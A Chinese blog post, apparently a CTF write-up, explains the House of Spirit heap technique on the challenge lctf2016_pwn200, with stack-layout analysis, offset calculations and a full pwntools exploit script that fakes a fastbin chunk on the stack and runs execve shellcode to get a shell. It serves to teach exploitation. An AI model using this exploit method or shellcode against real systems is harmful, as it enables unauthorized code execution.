news 2026/9/15 14:38:59

House of Spirit

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
House of Spirit

gegen'zgen'ze'ggen'zegePWN堆house of spirit-1 | iyheart的博客 跟着这个师傅学的堆这块知识

在buuctf中有这道题目:lctf2016_pwn200

正所谓回头看轻舟已过万重山,花了好长时间理解这道题,不是这个手法多难,恰恰暴露了我在栈帧那块偷懒的问题,(可不敢在偷懒不巩固了,不然费劲巴拉建的又该塌了)经过几天的摸索,对这个手法以及栈那块内容又有了本质上的提高。

具体知识内容我觉得还是看上面哪位师傅的来学习会更好,我的就是说一下自己的理解。如果有不对的地方,希望大家留言批评指正。

首先这个方法限制在fastbin和tcachebin上,具体利用就是找一个w(可写)段伪造一个chunk,通过free(指向这个位置的指针)将它链接到fastbin中,当我们再次申请相同大小的内存时,就可以将这块拿出来使用,这个题nx未开,所以我们可以直接拿栈来写shellcode,从而获得shell。具体的从这道道题里来感受吧。

保护上很温柔

代码审计上面 main函数只调用了两个,一个初始化输入输出,这个我们不用管。点进去func0

func0函数内部:依旧是for循环 每次只读入一个字节读入48个,注意v2只有48的空间大小,如果将他填满没有换行符(\n)read将不会结束,而紧挨着v2的是rbp的值,这么一来,printf就会连着rbp一块打印出来 这就是off_by_one漏洞,要知道这个是main调用的第一个函数,而栈地址是由高向低处增长的 它保存的main返回地址在高位(栈帧这块我有点稀里糊涂的,请各位好好斟酌一下)紧接着调用了func2函数。

func2内部:他把输入一个最大四位数的值弄成整数存到了v2当中,和那个上面v2不同,都是局部变量。func0中func2结束,紧接着返回func3中

func3内部:首先嘞dest存有malloc申请的内存地址,可是read的最大读入64,buf只有56,这就导致我们可以覆盖掉dest的地址,使它指向我们可以利用的地方ptr也会存入这个我们给他覆盖的地址之后进入func4

func4内部:printf_w是菜单了这里就是调用in 和out函数。一块来看吧

out:就是free(ptr)刚好这个就是我们House of Spirit的一大前提,同时让指针为0,防止uaf利用

重点在in: 这里会先让我们输入nbytes的大小,随后malloc,我们让他和free掉的那个假chunk大小一样就能利用那块空间来写入。下面再次写入时就是写到了我们最初构造的假chunk上了

接下来来看gdb环节,栈上的理解

首先我对程序进行了

1. asdfghjklqwertyuiopzxcvbnm123456789012345678901 ------func0

2. 25 --------------func0里的func2

3.rtydtyfuytgr65e65r6t6hr45wygu7u5ru ------------------func3

看这块栈中内容时下面的反而是最先操作过的,这里给它输了47个字符,没有触发漏洞 但是不难看出,0x7fffffffdd10被存在我们输入完的栈中,那我们泄露的栈地址就是他了这个地方不能用来构造 fake_chunk 小是一方面,还有一个原因free时会检查下一个chunk的size是否合理(不看是否是堆地址)。。必须是0x10*n或0x10*n+1。那这块栈地址可以说是高地址了 再往上咱也不可控了只能往低处看了

紧跟着的上面有个0x19的字样 ,这就是我们当时输入的25,哦吼,这块我们可以控制,那么我们让它来充当我们fake_chunk的下一个chunk的size不就好了,主要就是为了绕过free的检查。。再往上就是我们第三次输入了 0x38 剩0x8来覆盖指针,而当我们使用编写shellcoode时dest和rbp都可以用来覆盖,即使 prive_size和size不被用也还是有0x38大小可以用

然后来看偏移量的计算

fake_chunk 头部在直dc50 (prive_size) ,dc58(size) 所以ptr应该指向的是0xdc60(从user_date开始),当它free是,fastbin会将这块自动用fd链接,再次malloc时就是直接从这里当作用户数据来写了 泄露出来的是0xdd10-0xb0=0xd60,那么这个的size该是多少呢?

必然得和 next_chunk 的size关联起来啦 0xcb0就是next_chunk的初始地址,那么0xcb0-0xc50=0x60 这样就知道size大小了,但是最后一位p 要为1 防止free后与其他空闲堆块合并 所以构造时 size为0x61:pay1=p64(0x0)+p64(0x61)+b'a'*0x28+p64(stack-0xb0)注意:size只整个chunk大小 malloc时是不包括头部的,所以后面对nbytes赋值时应该是0x50.

from pwn import * context(arch='amd64',os='linux',log_level='debug') p=process('./pwn200') a = asm(""" mov rbx,0x0068732f6e69622f push rbx mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,59 syscall """) shellcode=asm(shellcraft.sh()) s=len(shellcode) print(s) p.sendafter(b'u?\n',b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa') p.recvuntil(b'laaa') #stack=p.recvline() stack=u64(p.recv(6).ljust(8,b'\x00')) print(stack) #addr=int.from_bytes(stack[0:6],'little') print(hex(stack)) p.sendlineafter(b'give me your id ~~?\n',b'48') pay1=p64(0x0)+p64(0x61)+b'a'*0x28+p64(stack-0xb0) p.sendafter(b'give me money~\n',pay1) #p.sendlineafter(b'goodbye\nyour choice : ',b'1') p.sendlineafter(b'goodbye\nyour choice : ',b'2') p.recvuntil(b'out~\n') p.sendlineafter(b'goodbye\nyour choice : ',b'1') p.sendlineafter(b'how long?\n',b'80') payload=a.ljust(0x38,b'a')+p64(stack-0xb0) //这块我们虽然是在in里的read,但要注意,此时写入的地址就是malloc(0x40)那个函数的栈空间,所以覆盖返回地址是0x38(上面讲了的) p.sendafter(b'80\n',payload) p.sendlineafter(b'goodbye\nyour choice : ',b'3') p.interactive()

shellcraft生成的就一直打不通,所以也是用那个师傅手编的可以打通。师傅写的那个29 生成的是48。以下是解决方法。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/15 14:36:55

精讲五大排序算法:冒泡、选择、插入、希尔与快排的原理与实战

作为一个常年跟数据结构和算法打交道的开发者,我越来越觉得排序算法不只是一堆需要背下来的代码模板,它背后是一整套关于"怎么高效地整理数据"的思考方式。很多人学排序时容易陷入一种误区:看视频觉得懂了,合上书全忘了…

作者头像 李华
网站建设 2026/9/15 14:32:54

Windows上搭建PySpark完整指南:从JDK到winutils避坑实操

先说明一下,这个标题看着简单,真做起来能劝退不少人。网上搜“Windows spark 搭建”,清一色是 Linux 或 Mac 教程,偶尔蹦出一篇 Windows 的还写得云里雾里,照着抄经常卡在某一步直接进行不下去。我前前后后在 Windows …

作者头像 李华